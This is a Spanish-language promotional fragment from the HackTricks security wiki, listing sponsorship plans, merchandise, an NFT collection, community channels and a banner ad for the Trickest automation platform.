* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

\
Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas**.\
Obtén acceso hoy:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}